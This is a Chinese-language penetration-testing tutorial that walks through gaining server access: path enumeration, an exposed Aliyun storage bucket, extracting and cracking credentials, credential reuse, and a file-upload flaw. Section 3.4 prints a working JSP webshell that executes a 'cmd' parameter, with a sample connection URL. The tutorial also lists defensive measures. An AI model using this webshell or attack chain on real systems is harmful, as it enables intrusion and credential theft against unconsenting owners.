服务器权限获取深度教学：从路径发现到文件上传漏洞利用

1. 授权与法律声明

重要前提：任何网络安全测试必须事先获得明确授权。本教学文档仅供学习交流使用，严禁用于商业或非法用途，违反者需自行承担一切法律后果。

2. 渗透测试流程概述

1. 目标系统初步侦察
2. 路径枚举与敏感接口发现
3. 云存储桶信息泄露利用
4. 凭证提取与解密
5. 文件上传漏洞发现与利用
6. 服务器权限获取

3. 详细技术教学

3.1 初始信息收集

目标系统特征：

• 双登录通道：用户登录和公众登录
• 功能有限，表面无直接可利用点

技术手段：

1. 使用字典爆破网站路径

   • 推荐工具：DirBuster, Dirsearch, Gobuster
   • 常用字典：SecLists中的Discovery/Web-Content目录

2. 发现关键接口：

   • /getbucketlist - 返回大量文件路径(zip, exe, txt, sql等)

3.2 云存储桶信息泄露利用

关键发现：

• 通过资产测绘搜索目标公司其他系统
• 跨系统测试发现getbucketlist接口返回500错误
• 错误信息中暴露Aliyun存储桶地址

利用步骤：

1. 将之前发现的文件路径拼接到云存储桶地址

   • 示例：https://bucket-name.oss-cn-region.aliyuncs.com/path/to/file.zip

2. 下载并分析文件内容：

   • SQL文件：可能包含加密的数据库凭证
   • EXE文件：可能包含安装包和配置文件
   • ZIP文件：可能包含网站源代码

3.3 凭证提取与解密

技术要点：

1. 在源代码中搜索关键词：

   • ossaccesskey - 阿里云OSS访问密钥
   • password, pwd, secret等

2. 密码解密方法：

   • 使用cmd5.com等在线解密网站
   • 常见弱密码尝试：123321, admin123等
   • 若为MD5加密且无法解密，可尝试彩虹表攻击

3. 凭证复用：

   • 尝试在目标公司其他系统中使用相同凭证
   • 注意权限差异：student账号 vs admin账号

3.4 文件上传漏洞利用

漏洞发现：

1. 通过EXE文件审计发现上传功能代码
2. 在ZIP源码中发现上传JSP文件

利用步骤：

1. 构造上传请求：

   • 使用公共登录口绕过认证
   • 构造multipart/form-data请求

2. JSP Webshell示例：

<%@page import="java.util.*,java.io.*"%>
<%
if(request.getParameter("cmd")!=null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while(disr != null) {
        out.println(disr); 
        disr = dis.readLine();
    }
}
%>

3. 连接方法：
   • 使用中国菜刀、蚁剑等工具连接
   • 直接访问：http://target.com/upload/path/shell.jsp?cmd=whoami

4. 关键防御措施

1. 接口安全：

   • 禁用或限制getbucketlist等调试接口
   • 实施适当的访问控制和认证

2. 云存储安全：

   • 设置存储桶为私有访问
   • 定期轮换访问密钥
   • 启用访问日志和监控

3. 凭证安全：

   • 避免在代码中硬编码凭证
   • 使用强密码和适当的加密方式
   • 实施多因素认证

4. 文件上传防护：

   • 验证文件类型和内容
   • 限制上传目录的执行权限
   • 对上传文件进行重命名

5. 系统加固：

   • 最小权限原则
   • 定期安全审计和代码审查
   • 及时修补已知漏洞

5. 总结

本案例展示了从信息收集到最终获取服务器权限的完整链条，强调了以下几个关键点：

• 信息枚举和接口发现的重要性
• 跨系统测试和凭证复用的有效性
• 源代码审计在漏洞发现中的价值
• 文件上传漏洞的严重性和利用方法

安全团队应重点关注这些攻击路径，实施纵深防御策略，而渗透测试人员则需在授权范围内验证这些漏洞的存在。